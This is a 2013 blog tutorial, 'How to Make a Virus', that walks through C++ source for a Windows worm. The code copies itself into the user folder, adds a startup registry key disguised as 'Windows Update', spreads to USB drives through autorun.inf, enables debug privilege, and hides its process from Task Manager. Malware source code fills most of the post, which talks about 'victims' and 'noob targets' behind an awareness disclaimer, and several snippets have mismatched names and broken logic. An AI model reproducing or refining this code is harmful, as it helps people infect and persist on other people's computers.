Sunday 14 July 2013

How to Make a Virus

Today I will show you how you can make a virus. It can spread infection through USB drives, makes it's copies and can hide itself in Windows Task Manager. While viruses of today are much advanced than this; still this will give you an idea about how a virus looks from inside.

Note: This little tutorial only intends to spread awareness about viruses and I am not responsible about what you do with this information. Also, to grasp this you should at least have some knowledge about C++ language and little Win32 programming as well.


So, we are going to use Visual Studio 2005 with Visual C++ to make this baby. I will write down code snippets and no complete code so that script kiddies cannot take it and make something evil just like that. Only people that are willing to learn will get it.

We start by creating an empty Windows GUI project (and not the Console one!) in VS 2005. We create a C++ source file and name it anything you want; then add a simple WinMain like this in it:

#include "my_virus.h"

int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow)
{
   // Grant your virus privileges to handle other processes
   GrantPrivileges();

   // Set your priority low to not eat up all processor cycles
   DWORD curPid = GetCurrentProcessId();

   HANDLE hCurProcess;
   hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, false, curPid);

   BOOL priority;
   priority = SetPriorityClass(hCurProcess, BELOW_NORMAL_PRIORITY_CLASS);

   // Hide In Task Manager
   DWORD idThread_HideInTaskManager;
   HANDLE hThread_HideInTaskBar = CreateThread(0, 0, Thread_HideInTaskManager, 0, 0, &idThread_HideInTaskManager);


   while (1)
   {
      MakeACopy();
      InstallInRegistry();
      InstallUSB();
   }
}

We using a GUI application instead of a console one because this will not display a window while running like a Console application. This main method will hold all the function calls that we define in a separate header file. You can also define all those functions in this file itself if you want.

So, we create a header file say, "my_virus.h" and add the following functions to it:

1. MakeACopy() : The real payload you drop that will run

This function will make a copy of the current virus program at any location you choose to keep it. Just make sure you pass this same address to "InstallInRegistry()" func we do next.

void MakeCopies(const char *filename)
{
   char *userprofile = getenv("USERPROFILE");
   char userpath[MAX_PATH];

   ZeroMemory(userpath, sizeof(userpath));
   sprintf(userpath, "%s\\%s", userprofile, targname);
   GetModuleFileNameA(GetModuleHandleA(NULL), filename, sizeof(filename));

   int fileCopied = CopyFileA(filename, userpath, TRUE);

   SetFileAttributesA(userpath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);

   if (fileCopied != 0)
   {
      ShellExecuteA(NULL, "open", userpath, "", NULL, SW_HIDE);
      Sleep(2000);
      ExitProcess(EXIT_SUCCESS);
   }
}

The "getenv("USERPROFILE")" gets the current user's home folder. We copy our virus to this folder. We use the shellExecute func to run our payload and quit our trojan program (the file you need to run AT FIRST to install the virus into the victim's system).

2. InstallInRegistry() : Make an "autorun" key in the registry to run your virus payload at every startup

void InstallInRegistry()
{
   HKEY startup;
   char temp[MAX_PATH];
   char targname[MAX_PATH];

   RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &startup, NULL);

   char *userprofile = getenv("USERPROFILE");
   sprintf(temp, "%s\\%s", userprofile, targname);

   RegSetValueExA(startup, "Windows Update", 0, REG_SZ, (const BYTE *) temp, strlen(temp));
   RegCloseKey(startup);
}

In this func we are installing our virus into the victim's registry. There are actually many ways to set up a program to run at startup but this is the most straight-forward and easy. You can also put your payload into the user's Startup folder but that's the first place your victim will check if your malware is revealed to him/her.

3. InstallUSB() : Spread your malware through the victim's Pen Drive/SD card


void InstallUSB()
{
   char drives[105]; // max possible (26*4+1)
   int drivesize = GetLogicalDriveStringsA(104, drives);
   drivesize = drivesize / 4;
   char *drive = drives;
   int i;

   for(i = 0; i < drivesize; i++)
   {
      if ((GetDriveTypeA(drive) == DRIVE_REMOVABLE) && 
         !(strstr(drive, "A")) && 
         !(strstr(drive, "B")))
 {
    char usbpath[MAX_PATH];
    char infpath[MAX_PATH];
    char infdata[512];  // INF file data

            sprintf(usbpath, "%s%s", drive, virname);
    GetModuleFileNameA(GetModuleHandleA(NULL), filename, 
  sizeof(filename));

   // Virus
   CopyFileA(filename, usbpath, FALSE);
   SetFileAttributesA(usbpath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);

  // INF file
  sprintf(infpath, "%sautorun.inf", drives[i]);
  sprintf(infdata, "[autorun]\nopen=%s\n", usbpath);

  FileWrite(infpath, infdata, strlen(infdata));
  SetFileAttributesA(infpath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
      }
      drive = drive + 4;
   }
}

Here we will try to find out all the "removable" drives (that includes portable hard disks too I think) and infect them with our virus. We only exclude the floppy drives (who the f**k uses floppies anymore! :D) and write an "autorun" file. Now, all we need is a noob target (that includes majority of Windows users, unfortunately) to keep his/her autorun programs from USB drive feature on (on by default) and plug this USB in his system and give our poor baby virus a new home :D

4. GrantPrivileges() : Grant your program privileges to "debug" the Task Manager so that you can hack it to hide your program in it

Before we could hide our program in the Task Manager we need to get the authority from Windows kernel to do so. Not every program is allowed to meddle with another one (especially like Task Manager) and crash your system maybe.


DWORD GrantPrivileges()
{
   char status[100];

   // Get Privileges Start
   HANDLE hToken;
   TOKEN_PRIVILEGES tp;
   LUID luid;

   if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
   {
      if (GetLastError() == ERROR_NO_TOKEN)
      {
         if (ImpersonateSelf(SecurityImpersonation))
 {
            if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
            {
               return 0;
            }
         }
      }
   }

   if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
   {
      return 0;
   }
   else
   {
      tp.PrivilegeCount = 1;
      tp.Privileges[0].Luid = luid;
      tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

      if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL))
      {
 return 0;
      }

      if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
      {
         return 0;
      }
   }
}

We are trying to get a "token" from system for DEBUG privilege so that we can peek into the Task Manager. Basically we are trying to fool the system that we are just a harmless debugger :D and once we get the token (that we get almost every time).

5. About EnumChildProc() : A little more "complicated" stuff to make a separate thread that keeps your virus hidden in Task Manager listing


WORD WINAPI Thread_HideInTaskManager(LPVOID lpParam)
{
   GrantPrivileges();

   while (1)
   {
      HWND hWnd = NULL;
      hWnd = FindWindowA(NULL, "Windows Task Manager");

      EnumChildWindows(hWnd, EnumChildProc, NULL);
   }

   return 0;
}

BOOL CALLBACK EnumChildProc(HWND hWnd, LPARAM lParam)
{
   char name[256];
   char classname[256];

   GetWindowTextA(hWnd, name, 256);
   GetClassNameA(hWnd, classname, 256);

   if ((strcmp(classname, "SysListView32") == 0) && (strcmp(name, "Processes") == 0))
   {
      DWORD pid;
      GetWindowThreadProcessId(hWnd, &pid);

      HANDLE hProcess;
      hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);

      if (hProcess != NULL)
      {
         DWORD dwBufferSize = 2048;
         LPVOID lpRemoteBuffer;

         lpRemoteBuffer = VirtualAllocEx(hProcess, NULL, dwBufferSize, 
         MEM_COMMIT,PAGE_READWRITE);

         if (lpRemoteBuffer != NULL)
         {
            LVITEMA lvitem;
            memset(&lvitem, 0, sizeof(lvitem));
            int selected = 0;
            int bytesWrittenOrRead = 0;
            BOOL bSuccess;
            char lpLocalBuffer[2048];

            int totalItems = 0;
            totalItems = SendMessage(hWnd, LVM_GETITEMCOUNT, 0, 0);

            if (totalItems > 0)
            {
               for (selected = 0; selected < totalItems; selected++)
               {
                  lvitem.mask = LVIF_TEXT;
                  lvitem.iSubItem = 0;
                  lvitem.iItem = selected;
                  lvitem.pszText = (LPSTR) ((int) lpRemoteBuffer + sizeof(LVITEMA));
                  lvitem.cchTextMax = 500;

                  bSuccess = WriteProcessMemory(hProcess, lpRemoteBuffer, 
                  &lvitem, sizeof(LVITEMA), (SIZE_T *) &bytesWrittenOrRead);

                  if (bSuccess)
                  {
                     SendMessageA(hWnd, LVM_GETITEMA, selected, (LPARAM) lpRemoteBuffer);
                     bSuccess = ReadProcessMemory(hProcess, lpRemoteBuffer, 
                      lpLocalBuffer, dwBufferSize, (SIZE_T *) &bytesWrittenOrRead);

                     char *ptr = (LPSTR) ((int) lpLocalBuffer + sizeof(LVITEMA));

                     if ((strcmp(ptr, targname) == 0) ||
                         (strcmp(ptr, virname) == 0))
                     {
                        SendMessageA(hWnd, LVM_DELETEITEM, (WPARAM) selected, 0);
                        break;
                     }
                  }
               }
            }
         }
         VirtualFreeEx(hProcess, lpRemoteBuffer, 0, MEM_RELEASE);
      }
   }
   return 1;
}


Now, here are two functions:

1) Thread_HideInTaskManager(LPVOID lpParam)

The function that the thread calls. This function is a gateway to the thread handling routines. But for handling the Processes listview component in Task Manager we need a callback function. This EnumChildProc is that callback function that (as the name suggests) enumerates through the "child windows" of Task Manager to find the Processes window.

2) BOOL CALLBACK EnumChildProc(HWND hWnd, LPARAM lParam)

Inside this func we detect the child "window" (every component of an application is also considered a "window" by Win32 I don't know why :\ Stupid logic!). Then we get handle to this remote window's memory space using VirtualAllocEx() and other functions. We simply SendMessage() to this child window that "please delete the row that shows our virus" :D It is our slave so it does what we want! We keep doing this an infinite loop so our virus stays hidden forever.



This is the total framework of this virus. It has one main method that calls some functions in a while loop. This makes it keep an eye on the system regularly and being invisible from task manager it can run in the background and do its thing.

There are several problems in this yet. First, applications like Process Hacker can detect this virus. Second, it creates a lot of processor cycles; while being on very low priority it will not slow the system down-- still it is visible on the performance graph. Thirdly, the process name hiding in Task Manager is not perfect at all since there is constant flickering in the Processes window if the victim notices it somehow! Fourthly, Windows 7 and 8 system protection can easily stop this virus.

This is just a start-up into the world of malwares and is intended to be a simple tutorial to make you understand how much damage a malware can do to your system. I hope you liked it. Share this with your friends and stay safe! :)

0 comments:

Post a Comment

All Articles © Asit. No Copying. Powered by Blogger.
 
Copyright © . The Tech Veda - Posts · Comments
Markup Powered by Bluefish Editor 2.2